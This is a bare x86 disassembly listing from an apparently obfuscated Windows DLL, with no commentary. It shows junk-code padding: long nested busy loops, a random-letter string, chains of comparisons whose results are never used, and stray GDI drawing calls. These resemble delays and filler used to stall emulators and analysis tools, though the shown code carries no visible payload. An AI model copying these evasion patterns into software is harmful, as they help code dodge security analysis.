mov dword [eax], 0x1f7e2799
jmp 0x1001d027
lea eax, [ebp - 0x1d0]
push eax
push 0x77a0
push 1
push 0x58
lea eax, [ebp - 0x40]
push eax
push 0
push 0x6c46
push 1
push 0x42c5
push 0x6b6c
call fcn.1001a315
add esp, 0x28
mov dword [ebp - 0x17c], 0x7f39
mov dword [ebp - 0x1b8], str.dnlqulao_vposit_qdqwmzzna_gvium_vdkjdusb_enzkqni_yazh_jghkmwkbk_xzqf_euvexet_kdw_ayfua_bimungh_jddysjfdx
cmp dword [ebp - 0x17c], 0x8065
jle 0x1001d1b7
and dword [ebp - 0x80], 0
jmp 0x1001d0aa
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x4372
jge 0x1001d17b
and dword [ebp - 0x70], 0
jmp 0x1001d0c4
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x6e3a
jge 0x1001d176
and dword [ebp - 0x78], 0
jmp 0x1001d0de
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x6ba
jge 0x1001d171
and dword [ebp - 0x88], 0
jmp 0x1001d101
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x45a2
jge 0x1001d16c
mov eax, dword [ebp - 0x70]
cdq
idiv dword [ebp - 0x78]
add edx, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x88]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x2a0], edx
push dword [ebp - 0x2a0]
push dword [ebp - 0x2a4]
lea ecx, [ebp - 0x424]
call fcn.10001301
pop ecx
pop ecx
mov dword [ebp - 0x20c], eax
mov ecx, dword [ebp - 0x20c]
call fcn.100014b2
push eax
call fcn.1004c2d0
pop ecx
lea ecx, [ebp - 0x424]
call fcn.100014a8
jmp 0x1001d0f4
jmp 0x1001d0d7
jmp 0x1001d0bd
jmp 0x1001d0a3
push 0xbd5
push 0xff2
push 0x2466
push 0x6d7
push 0x14d
push 0x1e0f
push 0xb2e
push 0x116
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
push 0
lea ecx, [ebp - 0xc8]
call fcn.1000155c
mov dword [eax], 6
jmp 0x1001d1f0
push 0
lea ecx, [ebp - 0xc8]
call fcn.1000155c
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xf4]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xc8]
call fcn.1000155c
cmp dword [eax], 6
jle 0x1001d5a8
mov dword [ebp - 0x14], 0xdc7555b7
push 0x31e7
push 1
push 0x3ad0
lea eax, [ebp - 0x1d0]
push eax
push 1
push 1
lea eax, [ebp - 0x14]
push eax
call fcn.1001b8d1
add esp, 0x1c
mov dword [ebp - 0x14], 0
jmp 0x1001d240
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffff2
je 0x1001d5a3
mov dword [ebp - 0xa4], 0xba09a164
mov dword [ebp - 0x224], 0xfffffffa
push 0
lea ecx, [ebp - 0xc8]
call fcn.1000155c
cmp dword [eax], 0
jne 0x1001d27c
mov dword [ebp - 0x154], 1
jmp 0x1001d283
and dword [ebp - 0x154], 0
push 0
lea ecx, [ebp - 0xc8]
call fcn.1000155c
cmp dword [eax], 0x74489b46
je 0x1001d2a4
mov dword [ebp - 0xfc], 1
jmp 0x1001d2ab
and dword [ebp - 0xfc], 0
imul eax, dword [ebp - 0xfc], 0xe5d5
cmp eax, 0xfffffffb
jne 0x1001d2c6
mov dword [ebp - 0x104], 1
jmp 0x1001d2cd
and dword [ebp - 0x104], 0
cmp dword [ebp - 0x104], 0xfffffffa
jge 0x1001d2e2
mov dword [ebp - 0x10c], 1
jmp 0x1001d2e9
and dword [ebp - 0x10c], 0
push 0
lea ecx, [ebp - 0xc8]
call fcn.1000155c
mov ecx, dword [ebp - 0x10c]
cmp ecx, dword [eax]
jne 0x1001d31e
push 0
lea ecx, [ebp - 0xc8]
call fcn.1000155c
cmp dword [eax], 0
je 0x1001d31e
mov dword [ebp - 0x114], 1
jmp 0x1001d325
and dword [ebp - 0x114], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x114], eax
je 0x1001d33f
mov dword [ebp - 0x11c], 1
jmp 0x1001d346
and dword [ebp - 0x11c], 0
cmp dword [ebp - 0x11c], 0xfe2c
jne 0x1001d35e
mov dword [ebp - 0x214], 1
jmp 0x1001d365
and dword [ebp - 0x214], 0
push 0
lea ecx, [ebp - 0x1d0]
call fcn.1000155c
cmp dword [eax], 0xffffffff
je 0x1001d383
mov dword [ebp - 0x124], 1
jmp 0x1001d38a
and dword [ebp - 0x124], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x124], eax
jge 0x1001d3a1
mov dword [ebp - 0x12c], 1
jmp 0x1001d3a8
and dword [ebp - 0x12c], 0
cmp dword [ebp - 0x12c], 0x1e9a9d01
jg 0x1001d3c0
mov dword [ebp - 0x134], 1
jmp 0x1001d3c7
and dword [ebp - 0x134], 0
cmp dword [ebp - 0x134], 0x420ea1bc
je 0x1001d3df
mov dword [ebp - 0x13c], 1
jmp 0x1001d3e6
and dword [ebp - 0x13c], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x13c], eax
jg 0x1001d3fd
mov dword [ebp - 0x144], 1
jmp 0x1001d404
and dword [ebp - 0x144], 0
cmp dword [ebp - 0x144], 0x26232c2a
jne 0x1001d41c
mov dword [ebp - 0x14c], 1
jmp 0x1001d423
and dword [ebp - 0x14c], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14c], eax
je 0x1001d440
mov eax, 0x8aee5119
test eax, eax
jne 0x1001d440
and dword [ebp - 0x15c], 0
jmp 0x1001d44a
mov dword [ebp - 0x15c], 1
mov eax, dword [ebp - 0x154]
cmp eax, dword [ebp - 0x15c]
jle 0x1001d464
mov dword [ebp - 0x164], 1
jmp 0x1001d46b
and dword [ebp - 0x164], 0
push 0
lea ecx, [ebp - 0x1d0]
call fcn.1000155c
mov ecx, dword [ebp - 0x164]
cmp ecx, dword [eax]
jle 0x1001d48e
mov dword [ebp - 0x16c], 1
jmp 0x1001d495
and dword [ebp - 0x16c], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x16c], eax
jg 0x1001d4af
mov dword [ebp - 0x174], 1
jmp 0x1001d4b6
and dword [ebp - 0x174], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x174], eax
je 0x1001d4c8
cmp dword [ebp - 0xa4], 0
cmp dword [ebp - 0x14], 0
je 0x1001d540
mov dword [ebp - 0x21c], 0x7771fda6
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x1b0], 0xffffffff
mov dword [ebp - 0x234], 0xc132d45a
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x224]
push eax
push 1
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x1b0]
push eax
push 1
call fcn.10019a3e
add esp, 0x2c
jmp 0x1001d59e
mov byte [ebp - 0x27], 0
movzx eax, byte [ebp - 0x27]
test eax, eax
je 0x1001d585
push 0x88e
push 0x392b
push 1
push 0x7ca3
push 0x5494
push 0x581b
push 0x2b80
push 1
push 0x372b
push 0x39c2
push 0x3c10
call fcn.1001a07d
add esp, 0x2c
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x24]
push eax
push 1
push 1
push 0x7410
call fcn.1001ba26
add esp, 0x10
jmp 0x1001d239
jmp 0x1001d1cc
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0x17c], 0x7ecc
jge 0x1001d5c4
push dword [ebp - 0x1b8]
call fcn.1004c2d0
pop ecx
jmp 0x1001d5e0
mov dword [ebp - 4], 0x13
jmp 0x1001d5f0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x1d0]
call fcn.10001540
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xc8]
call fcn.10001540
lea eax, [ebp - 0x324]
push eax
mov ecx, dword [ebp - 0x184]
call fcn.1000ca81
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.10001e23
jmp 0x1001d65a
jmp 0x1001d65a
push 0x88a
push 1
mov edx, 0x2f76
mov ecx, 0xd6c
call fcn.1001354c
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret